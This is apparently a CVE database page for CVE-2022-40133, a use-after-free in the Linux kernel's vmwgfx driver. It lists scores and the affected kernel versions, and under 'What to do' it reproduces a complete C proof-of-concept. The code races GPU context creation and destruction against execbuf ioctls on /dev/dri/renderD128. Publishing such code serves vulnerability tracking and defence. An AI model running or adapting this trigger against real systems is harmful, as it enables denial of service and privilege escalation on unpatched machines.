CVE-2022-40133There is an UAF vulnerability in vmwgfx driver

Description

A use-after-free(UAF) vulnerability was found in function 'vmw_execbuf_tie_context' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Timeline

Scores

EPSS (exploitation in 30 days)

0.63% · top 49% of all CVEs (12 Nov 2026)

The list uses the assigner's score when there is one, then CISA's, then NVD's: Medium 6.3.

Affected products

• Linux · kernel

  • affected v4.20-rc1 – < 5.13.0-52*

What to do

Exploitation: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int sid =0; int fd = 0; int handle=0; int cid=0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int sid,int cid){ int cmd[0x1000]={0}; cmd[0]=1148; cmd[1]=0x50; cmd[2]=0; cmd[3]=1; cmd[4]=sid; cmd[5]=10; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=2; arg.context_handle=cid; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("poc failed: %s\n", strerror(errno)); return -1; } } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int alloc_context(){ int arg[0x10]={0}; arg[0]=0; arg[1]=0x100; if (ioctl(fd, 0x80086447, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[0]; } void destory_context(int sid){ int arg[0x10]={0}; arg[0]=sid; if (ioctl(fd, 0x40086448, &arg) == -1) { printf("destory_surface failed: %s\n", strerror(errno)); return -1; } } void thread1(){ while(1){ cid = alloc_context(); destory_context(cid); } } void thread2(){ while(1){ poc(sid,cid); } } int main(int ac, char **argv) { pthread_t tid1,tid2; init(); sid=create_surface(); if(pthread_create(&tid1,NULL,thread1,NULL)){ perror("thread_create"); } if(pthread_create(&tid2,NULL,thread2,NULL)){ perror("thread_create"); } while(1){ sleep(3); } }

Sources

The same CVE in the primary databases and aggregators, to check against.

• CVE.org record (opens in a new tab)
• CVE List JSON (GitHub) (opens in a new tab)
• NVD (opens in a new tab)
• FIRST EPSS (opens in a new tab)
• EUVD EUVD-2022-43451 (opens in a new tab)
• OSV.dev (opens in a new tab)
• GitHub Advisories (opens in a new tab)
• CIRCL Vulnerability-Lookup (opens in a new tab)

Badge for a README or a ticket

[![CVE-2022-40133](https://cveledger.app/badge/CVE-2022-40133.svg)](https://cveledger.app/cve/CVE-2022-40133)

Record last updated 17 Sept 2024, 03:49 UTC.